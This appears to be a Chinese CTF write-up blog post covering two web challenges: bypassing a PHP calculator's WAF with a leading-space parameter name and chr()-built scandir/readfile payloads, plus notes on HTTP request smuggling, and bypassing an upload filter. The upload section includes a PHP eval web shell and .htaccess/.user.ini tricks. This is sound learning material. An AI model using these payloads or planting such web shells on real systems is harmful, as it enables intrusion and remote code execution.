Easy Calc + 简单upload

Easy Calc

考点:WAF绕过、文件读取

在这里插入图片描述
calc 是啥?WAF是啥?
calculate 计算
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)

然后发现了 calc.php
去访问。。
在这里插入图片描述
在这里插入图片描述
发现了些许问题
在这里插入图片描述
在这里插入图片描述
You don’t have permission to access / on this server.
你在此台服务器上无权限。
怎么解决呢?

大佬博客
输入一个参数名为num的GET变量。当通过黑名单后直接就拿输入的内容执行。很明显这道题就要绕过WAF黑名单去执行命令。

get到的知识点
利用PHP的字符串解析特性Bypass

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

例如:

User inputDecoded PHPvariable name
%20foo_bar%00foo_barfoo_bar
foo%20bar%00foo barfoo_bar
foo%5bbarfoo[barfoo_bar

所以讲了个啥事呢?
也就是 calc.php?num=1
和 calc.php?%20num=1
都能走通,都是后台$_GET[‘num’]

PHP需要将所有URL、请求体参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)

可以看到上面两次尝试,一次被WAF拦截了,另外一次则成功了。两次输入的内容如下:
第一次:?num=phpinfo()
第二次:?%20num=phpinfo()
区别在与第二次在参数名前面加了空字符。参考上面说的PHP字符串解析特性说的第一点,PHP在解析时会删除空字符。
WAF接受到的是? num=phpinfo(),解析出来参数名为 num,没有把空格删除,没有触发的WAF的规则。
PHP接受到的同样? num=phpinfo(),但解析出来的参数名是num,把空格删除了所以可以在后台顺利拿到参数,执行成功。

所以也就是讲了个WAF绕过!!新知识
用?%20num=去绕过WAF
而PHP后台接收到的仍然是$_GET[‘num’]

学到了

打印函数:
var_dump(object)
print_r(object)
目录读取函数:
scandir(directory,sorting_order,context);
文件读取函数:
readfile(filename,include_path,context)
file_get_contents(path,include_path,context,start,max_length)
字符转换函数:
chr(ascii)
ord(string)
base_convert(number,frombase,tobase);

所以需要构造 scandir(/) 查看flag在哪
/ 由chr(47)
?%20num=var_dump(scandir(chr(47)))
在这里插入图片描述
接着构造 readfile(/f1agg)
?%20num=var_dump(readfile(chr(47)f1agg))
然后,然后就错了
要这样子
?%20num=var_dump(readfile(chr(47).f1agg))
在这里插入图片描述
最后得到flag

最后的最后,学到了个WAF
还学到了 scandir readfile等

居然还有第二种做法。。
HTTP请求走私
前端服务器(CDN)和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞的产生。
不太懂
在这里插入图片描述
大概做法是 下面多加一个Content-Length
然后加点东西

就成了 CL_CL

1、CL-CL
两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。

在这里插入图片描述
这是多加了Tansfer-Encoding:chunked

2、CL-TE
CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。

在这里插入图片描述

[ACTF2020 新生赛]Upload1

在这里插入图片描述
在这里插入图片描述

上传普通php测试,发现只能上传图片
在这里插入图片描述

接着不急着上传图片马
因为 οnsubmit=“return checkfile()”
看看前端验证
php文件前端可以传送了
但后端 nonono-hacker
接着试试 phtml等
在这里插入图片描述
接着用antsword连接 并得到flag

#上传姿势
添加gif89a的头
<script language=”php”>
php2,php3、php4、php5、phtml、phtm代替php后缀
大小写,双写等
传.htaccess
截断上传

#.htaccess文件上传
#方法一:
# FileMatch 参数即为文件名的正则匹配
<FilesMatch "1.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>
// 1.jpg
<?php eval($_GET['a']);?>
#方法二:
AddType application/x-httpd-php .jpg
// 1.jpg
<?php eval($_GET['a']);?>

//.user.ini文件
//指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=test.jpg
//或者
auto_append_file=test.jpg

//然后将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可,也可蚁剑连接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值